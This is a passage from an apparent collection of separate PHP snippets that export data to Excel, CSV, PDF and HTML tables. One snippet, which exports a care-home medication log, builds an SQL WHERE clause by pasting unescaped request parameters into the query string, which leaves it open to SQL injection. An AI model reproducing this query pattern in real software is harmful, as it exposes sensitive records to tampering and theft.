$numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(50);\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(20);\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('O')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('P')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('Q')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('R')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('S')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('T')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('U')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('V')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('W')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('X')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('Y')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('Z')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AA')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AB')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AC')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AD')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AE')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AF')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AG')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AH')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AI')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AJ')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AK')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AL')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AM')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AN')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AO')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AP')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AQ')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AR')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AS')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AT')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AU')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AV')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AW')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AX')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AY')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AZ')->setWidth(5);\n\n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Data A1\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data A1' . $date . '.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n header('Content-Transfer-Encoding: binary');\n header('Accept-Ranges: bytes');\n header('Cache-control: no-cache, pre-check=0, post-check=0');\n header('Cache-control: private');\n header('Pragma: private');\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // any date in the past\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function _webform_csv_headers_email($component) {\r\n $header = array();\r\n $header[0] = '';\r\n $header[1] = '';\r\n $header[2] = $component['name'];\r\n return $header;\r\n}", "abstract protected function getColumnsHeader(): array;", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Zapier Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$poll_id = $this->poll_id;\n\t\t$poll_settings_instance = $this->poll_settings_instance;\n\n\t\t/**\n\t\t * Filter zapier headers on export file\n\t\t *\n\t\t * @since 1.6.1\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $poll_id current Form ID\n\t\t * @param Forminator_Addon_Zapier_Poll_Settings $poll_settings_instance Zapier Poll Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_zapier_poll_export_headers',\n\t\t\t$export_headers,\n\t\t\t$poll_id,\n\t\t\t$poll_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function renderXLS($rows,$headers,$filename) {\n $data = $this->dumpXLS($rows,$headers);\n header(\"Expires: 0\");\n header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n header('Content-Type: application/xls');\n header(\"Content-Disposition: attachment;filename=\".$filename);\n header(\"Content-Transfer-Encoding: binary\");\n echo $data;\n exit();\n }", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "public function generateExcelFile($yp_id) {\n $this->load->library('excel');\n $this->activeSheetIndex = $this->excel->setActiveSheetIndex(0);\n\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Pocket Money');\n $exceldataHeader = \"\";\n $exceldataValue = \"\";\n $headerCount = 1;\n if (!empty($yp_id)) {\n $medication_name = $this->input->get('professional_name');\n $search_date = $this->input->get('search_date');\n $search_time = $this->input->get('search_time');\n $search = $this->input->get('search');\n $sortfield = $this->input->get('sortfield');\n $sortby = $this->input->get('sortby');\n $data = [];\n //get YP information\n $table = YP_DETAILS . ' as yp';\n $match = array(\"yp.yp_id\" => $yp_id);\n $fields = array(\"yp.yp_fname,yp.yp_lname,yp.date_of_birth,sd.email,ch.care_home_name\");\n $join_tables = array(SOCIAL_WORKER_DETAILS . ' as sd' => 'sd.yp_id=yp.yp_id', CARE_HOME . ' as ch' => 'ch.care_home_id = yp.care_home');\n $data['YP_details'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', $match, '', '', '', '', '', '', '');\n $match = array('am_form_id' => 1);\n $formsdata = $this->common_model->get_records(AM_FORM, array(\"form_json_data\"), '', '', $match);\n if (!empty($formsdata)) {\n $formsdata_expr = json_decode($formsdata[0]['form_json_data'], TRUE);\n }\n\n $match = array('yp_id' => $yp_id);\n $medication_data = $this->common_model->get_records(MEDICATION, '', '', '', $match);\n $data['stock'] = '';\n if (!empty($medication_data)) {\n $data['stock'] = $medication_data[0]['stock'];\n }\n $where = \"mc.yp_id = \" . $yp_id;\n\n if ($search == 1) {\n if (!empty($medication_name)) {\n $where .= ' AND mc.select_medication = ' . $medication_name;\n }\n if (!empty($search_date)) {\n $search_date = dateformat($search_date);\n $where .= ' AND mc.date_given = \"' . $search_date . '\"';\n }\n if (!empty($search_time)) {\n $search_time = dbtimeformat($search_time);\n $where .= ' AND mc.time_given = \"' . $search_time . '\"';\n }\n \n }\n\n $login_user_id = $this->session->userdata['LOGGED_IN']['ID'];\n $table = ADMINISTER_MEDICATION . ' as mc';\n $fields = array(\"mc.*, md.stock,mc.date_given as date_given,time_given as time_given\");\n $join_tables = array(MEDICATION . ' as md' => 'md.medication_id=mc.select_medication');\n $data['information'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', '', '', '', '', $sortfield, $sortby, '', $where);\n\n $data['crnt_view'] = $this->viewname;\n $data['ypid'] = $yp_id;\n $form_field = array();\n $exceldataHeader = array();\n if (!empty($formsdata_expr)) {\n foreach ($formsdata_expr as $row) {\n $exceldataHeader[] .=html_entity_decode($row['label']);\n }\n $exceldataHeader[] .= 'Quantity Remaining';\n }\n\n if (!empty($formsdata)) {\n $sheet = $this->excel->getActiveSheet();\n $this->excel->setActiveSheetIndex(0)->setTitle('ADMINISTRATION HISTORY LOG');\n $sheet->getStyle('A1:Z1')->getFont()->setBold(true);\n $sheet->getColumnDimension('A')->setWidth(35);\n $sheet->getColumnDimension('B')->setWidth(12);\n $sheet->getColumnDimension('C')->setWidth(10);\n $sheet->getColumnDimension('D')->setWidth(15);\n $sheet->getColumnDimension('E')->setWidth(8);\n $sheet->getColumnDimension('F')->setWidth(25);\n $sheet->getColumnDimension('G')->setWidth(15);\n $sheet->getColumnDimension('H')->setWidth(20);\n $sheet->getColumnDimension('I')->setWidth(20);\n $sheet->getColumnDimension('J')->setWidth(15);\n $sheet->getColumnDimension('K')->setWidth(15);\n $sheet->fromArray($exceldataHeader, Null, 'A1')->getStyle('A1')->getFont()->setBold(true); // Set Header Data\n\n if (!empty($data['information'])) {\n $col = 2;\n foreach ($data['information'] as $data) {\n if (!empty($formsdata_expr)) {\n $exceldataValue = array();\n foreach ($formsdata_expr as $row) {\n if ($row['type'] == 'date') {\n if ((!empty($data[$row['name']]) && $data[$row['name']] != '0000-00-00')) {\n $exceldataValue[] .= configDateTime($data[$row['name']]);\n }\n } else if($row['type'] == 'text' && $row['subtype'] == 'time'){\n $exceldataValue[] .= timeformat($data[$row['name']]); \n } else if ($row['type'] == 'select') {\n if (!empty($data[$row['name']])) {\n if (!empty($row['description']) && $row['description'] == 'get_user') {\n\n $get_data = $this->common_model->get_single_user($data[$row['name']]);\n $exceldataValue[] .=!empty($get_data[0]['username']) ? $get_data[0]['username'] : '';\n } else if (!empty($row['description']) && $row['description'] == 'get_medication') {\n\n $get_medication_data = $this->common_model->get_single_medication($data[$row['name']]);\n $exceldataValue[] .= !empty($get_medication_data[0]['medication_name']) ? $get_medication_data[0]['medication_name'] : '';\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n }\n $exceldataValue[] .= !empty($data['available_stock']) ? $data['available_stock'] : '';\n }\n $sheet->fromArray($exceldataValue, Null, 'A' . $col)->getStyle('A' . $col)->getFont()->setBold(false);\n $col ++;\n } // end recordData foreach\n }\n }\n }\n $fileName = 'ADMINISTRATION HISTORY LOG' . date('Y-m-d H:i:s') . '.xls'; // Generate file name\n $this->downloadExcelFile($this->excel, $fileName); // download function Xls file function call\n }", "function export_xls() {\n $engagementconfs = Configure::read('engagementConf');\n $this->set('engagementconfs',$engagementconfs);\n $data = $this->Session->read('xls_export');\n //$this->Session->delete('xls_export'); \n $this->set('rows',$data);\n $this->render('export_xls','export_xls');\n }", "function header (){\n\t\t$this->setfont('Arial','B', 16);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'WANANCHI', 0, 0, 'C');\n\t\t$this->Ln(10);\n\t\t$this->setfont('Arial','',12);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'INFORMATION',0, 0, 'C');\n\t\t$this->Ln(30);\n\t}", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "function export_nik_unins_lunas()\n\t{\n\t\t$excel_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_lunas_gagal($excel_id);\n\t\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Pelunasan Tidak Sesuai\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"PELUNASAN TIDAK SESUAI.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public static function convert_rs_xls($rs, &$workbook, &$worksheet) {\n //Set Formats\n $format_bold =& $workbook->addFormat();\n $format_bold->setBold();\n\n //Freeze Panes\n $worksheet->freezePanes(array(1,0)); //Freeze header\n #$worksheet->freezePanes(array(1, 1)); //Freeze header and first column\n\n $header_complete = false;\n while (!$rs->EOF) {\n if (!isset($keys)) $keys = array_keys($rs->fields); //column names\n $row = array();\n $col_num = 0;\n for ($i = 1; $i < $rs->_numOfFields * 2; $i += 2) {\n // +=2 because ADODB fields contains a named ass array and int ass array, so double values one by name, one by number, I just want by name\n $col = $keys[$i];\n $data = $rs->fields[$col];\n \n //Add Header data\n if (!$header_complete) {\n $worksheet->write(0, $col_num, $col, $format_bold);\n }\n \n //Write Data\n $worksheet->write($rs->_currentRow+1, $col_num, $data);\n $col_num ++;\n } //next col\n \n if (!$header_complete) $header_complete = true; //So only true for first row loop\n \n $rs->MoveNext();\n } //next row\n \n }", "private function render_data()\n\t{\n\t\t// create if the headers exists\n\t\t// 2 header style table\n\t\tif(count($this->headers) == 2 && isset($this->headers[0][0]) && isset($this->headers[1][0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr><th></th>';\n\t\t\tforeach($this->headers[0] as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the row headers and the data\n\t\t\tfor($i=0; $i<count($this->headers[1]); $i++)\n\t\t\t{\n\t\t\t\t// the header\n\t\t\t\t$html .= \"<tr><th>{$this->headers[1][$i]}</th>\";\n\t\t\t\t\n\t\t\t\t// and now the data\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\t// 1 header style table\n\t\tif(count($this->headers) > 0 && isset($this->headers[0]) && !is_array($this->headers[0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr>';\n\t\t\tforeach($this->headers as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the data\n\t\t\tfor($i=0; $i<count($this->data); $i++)\n\t\t\t{\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\t\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\treturn '';\n\t}", "function excel_export($template = 0) {\n $data = $this->ticket->get_all()->result_object();\n $this->load->helper('report');\n $rows = array();\n $row = array(lang('items_item_number'), lang('items_name'), lang('items_category'), lang('items_supplier_id'), lang('items_cost_price'), lang('items_unit_price'), lang('items_tax_1_name'), lang('items_tax_1_percent'), lang('items_tax_2_name'), lang('items_tax_2_percent'), lang('items_tax_2_cummulative'), lang('items_quantity'), lang('items_reorder_level'), lang('items_location'), lang('items_description'), lang('items_allow_alt_desciption'), lang('items_is_serialized'), lang('items_item_id'));\n\n $rows[] = $row;\n foreach ($data as $r) {\n $taxdata = $this->Item_taxes->get_info($r->ticket_id);\n if (sizeof($taxdata) >= 2) {\n $r->taxn = $taxdata[0]['ticket_id'];\n $r->taxp = $taxdata[0]['code_ticket'];\n $r->taxn1 = $taxdata[1]['destination_name'];\n $r->taxp1 = $taxdata[1]['ticket_type_name'];\n $r->cumulative = $taxdata[1]['cumulative'] ? 'y' : '';\n } else if (sizeof($taxdata) == 1) {\n $r->taxn = $taxdata[0]['name'];\n $r->taxp = $taxdata[0]['percent'];\n $r->taxn1 = '';\n $r->taxp1 = '';\n $r->cumulative = '';\n } else {\n $r->taxn = '';\n $r->taxp = '';\n $r->taxn1 = '';\n $r->taxp1 = '';\n $r->cumulative = '';\n }\n\n $row = array(\n $r->ticket_id,\n $r->code_ticket,\n $r->destination_name,\n $r->destination_name,\n $r->ticket_type_name,\n $r->unit_price,\n $r->taxn,\n $r->taxp,\n $r->taxn1,\n $r->taxp1,\n $r->cumulative,\n $r->quantity,\n $r->reorder_level,\n $r->location,\n $r->description,\n $r->allow_alt_description,\n $r->is_serialized ? 'y' : '',\n $r->item_id\n );\n\n $rows[] = $row;\n }\n\n $content = array_to_csv($rows);\n if ($template) {\n force_download('items_export_mass_update.csv', $content);\n } else {\n force_download('items_export.csv', $content);\n }\n exit;\n }", "public function createReport()\n {\n foreach($this->_data as $data)\n {\n //$data must have id and data elements\n //$data may also have config, header, footer, group\n\n $id=$data['id'];\n $format=isset($data['format'])?$data['format']:array();\n $config=isset($data['config'])?$data['config']:array();\n $group=isset($data['group'])?$data['group']:array();\n\n $configHeader=isset($config['header'])?$config['header']:$config;\n $configData=isset($config['data'])?$config['data']:$config;\n $configFooter=isset($config['footer'])?$config['footer']:$config;\n\n $config=array(\n 'header'=>$configHeader,\n 'data'=>$configData,\n 'footer'=>$configFooter\n );\n\n //set the group\n $this->_group=$group;\n\n $loadCollection=array();\n\n $nextRow=$this->objWorksheet->getHighestRow();\n if($nextRow>1)\n $nextRow++;\n $colIndex=-1;\n\n //form the header for data\n if(isset($data['header']))\n {\n $headerId='HEADER_'.$id;\n foreach($data['header'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$headerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['header'][$k]['width']))\n 